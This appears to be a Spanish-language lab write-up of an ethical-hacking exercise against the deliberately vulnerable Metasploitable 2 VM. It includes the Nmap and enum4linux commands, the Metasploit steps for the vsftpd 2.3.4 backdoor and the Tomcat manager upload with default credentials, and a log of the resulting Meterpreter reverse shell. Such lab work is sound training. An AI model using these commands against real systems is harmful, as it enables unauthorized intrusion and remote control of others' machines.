

Auditoría Ética sobre Metasploitable 2 usando Kali Linux

Paso 1: Escaneo de puertos y servicios con Nmap

Se ejecuta un escaneo SYN con detección de versiones y sistema operativo:

```
nmap -sS -sV -O -Pn 192.168.1.47 -oN escaneo.txt
```

Resultados relevantes:

- 21/tcp open ftp vsftpd 2.3.4
- 22/tcp open ssh OpenSSH 4.7p1
- 23/tcp open telnet Linux telnetd
- 80/tcp open http Apache 2.2.8
- 139/tcp open netbios-ssn Samba smbd 3.X
- 445/tcp open netbios-ssn Samba smbd 3.X
- 3306/tcp open mysql MySQL 5.0.51a
- 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

Sistema operativo detectado: Linux 2.6.9 - 2.6.33

Paso 2: Detección de vulnerabilidades con scripts de Nmap

```
nmap --script vuln 192.168.1.47 -oN vulnerabilidades.txt
```

Resultado: se identificó potencial de DoS por Avahi (no vulnerable). Se requiere análisis más profundo.

Paso 3: Análisis web en navegador

Se abre Firefox en Kali y se accede a:

`http://192.168.1.47/`

Aplicaciones vulnerables detectadas:

- TWiki
- phpMyAdmin
- Mutillidae
- DVWA
- WebDAV

Paso 4: Explotación de vsftpd 2.3.4 con Metasploit

`msfconsole`

`use exploit/unix/ftp/vsftpd_234_backdoor`

`set RHOST 192.168.1.47`

`run`

Resultado: vulnerabilidad confirmada si se abre una shell.

Paso 5: Enumeración de Samba con enum4linux

`enum4linux -a 192.168.1.47`

Resultados:

- Usuarios listados: root, msfadmin, www-data, postgres, mysql, tomcat55, etc.
- Shares detectados: tmp (con acceso de lectura), opt (denegado), ADMIN\$ (denegado)
- Políticas de contraseña poco estrictas: complejidad desactivada
- Se identificó el dominio WORKGROUP y el sistema operativo

Paso 6: Verificación de shares SMB con smbclient

`smbclient -L //192.168.1.47 -N`

Resultado:

- Acceso anónimo exitoso
- Share tmp listado correctamente

Paso 7: Explotación de Apache Tomcat con Metasploit

```
use exploit/multi/http/tomcat_mgr_upload
```

```
set RHOST 192.168.1.47
```

```
set RPORT 8180
```

```
set HttpUsername tomcat
```

```
set HttpPassword tomcat
```

```
run
```

Resultado:

- Se inició conexión reversa desde Kali (192.168.1.45)
- Se abrió sesión de Meterpreter desde la IP de Metasploitable

[*] Meterpreter session 1 opened (192.168.1.45:4444 -> 192.168.1.47:50528)

Shell remota obtenida exitosamente.

Conclusión

Se realizaron con éxito las fases de escaneo, enumeración y explotación sobre servicios críticos de Metasploitable 2. Se identificaron:

- Servicio FTP vulnerable con backdoor
- Aplicaciones web expuestas con potencial de SQLi/XSS
- Servicio Apache Tomcat con credenciales por defecto explotado con acceso completo
- Acceso anónimo a recursos compartidos SMB